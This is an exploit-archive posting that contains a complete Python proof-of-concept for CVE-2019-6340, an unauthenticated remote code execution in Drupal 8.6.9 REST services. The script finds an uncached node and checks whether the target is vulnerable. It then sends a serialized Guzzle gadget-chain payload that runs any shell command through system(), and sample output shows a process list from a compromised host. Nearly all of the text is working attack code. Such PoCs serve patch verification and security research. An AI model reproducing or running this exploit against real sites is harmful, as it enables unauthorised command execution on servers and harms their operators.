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Drupal 8.6.9 REST Remote Code Execution

Drupal 8.6.9 REST Remote Code Execution
Posted Feb 25, 2019
Authored by leonjza

Drupal versions 8.6.9 and below REST service remote code execution proof of concept exploit.

tags | exploit, remote, code execution, proof of concept
advisories | CVE-2019-6340
MD5 | 4986eea49c4c20d968ca236b18bdcac1

Drupal 8.6.9 REST Remote Code Execution

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#!/usr/bin/env python3

# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza

# Technical details for this exploit is available at:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
# https://twitter.com/jcran/status/1099206271901798400

# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
# by @leonjza
#
# References:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo

import sys
from urllib.parse import urlparse, urljoin

import requests


def build_url(*args) -> str:
"""
Builds a URL
"""

f = ''
for x in args:
f = urljoin(f, x)

return f


def uri_valid(x: str) -> bool:
"""
https://stackoverflow.com/a/38020041
"""

result = urlparse(x)
return all([result.scheme, result.netloc, result.path])


def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
"""

if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
return True

return False


def find_article(base: str, f: int = 1, l: int = 100):
"""
Find a target article that does not 404 and is not cached
"""

while f < l:
u = build_url(base, '/node/', str(f))
r = requests.get(u)

if check_drupal_cache(r):
print(f'[x] Node enum found a cached article at: {f}, skipping')
f += 1
continue

# found an article?
if r.status_code == 200:
return f
f += 1


def check(base: str, node_id: int) -> bool:
"""
Check if the target is vulnerable.
"""

payload = {
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}

u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

if check_drupal_cache(r):
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
return False

if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
return True

return False


def exploit(base: str, node_id: int, cmd: str):
"""
Exploit using the Guzzle Gadgets
"""

# pad a easy search replace output:
cmd = 'echo ---- & ' + cmd
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}

u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})

if check_drupal_cache(r):
print(f'Exploiting {node_id} returned cache HIT, may have failed')

if '----' not in r.text:
print('[warn] Command execution _may_ have failed')

print(r.text.split('----')[1])


def main(base: str, cmd: str):
"""
Execute an OS command!
"""

print('[+] Finding a usable node id...')
article = find_article(base)
if not article:
print('[!] Unable to find a node ID to reference. Check manually?')
return

print(f'[+] Using node_id {article}')

vuln = check(base, article)
if not vuln:
print('[!] Target does not appear to be vulnerable.')
print('[!] It may also simply be a caching issue, so maybe just try again later.')
return
print(f'[+] Target appears to be vulnerable!')

exploit(base, article, cmd)


if __name__ == '__main__':

print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
print(' by @leonjza\n')
print('References:\n'
' https://www.drupal.org/sa-core-2019-003\n'
' https://www.ambionics.io/blog/drupal8-rce\n')
print('[warning] Caching heavily affects reliability of this exploit.\n'
'Nodes are used as they are discovered, but once they are done,\n'
'you will have to wait for cache expiry.\n')

if len(sys.argv) <= 2:
print(f'Usage: {sys.argv[0]} <target base URL> <command>')
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id')

target = sys.argv[1]
command = sys.argv[2]
if not uri_valid(target):
print(f'Target {target} is not a valid URL')
sys.exit(1)

print(f'Targeting {target}...')
main(target, command)
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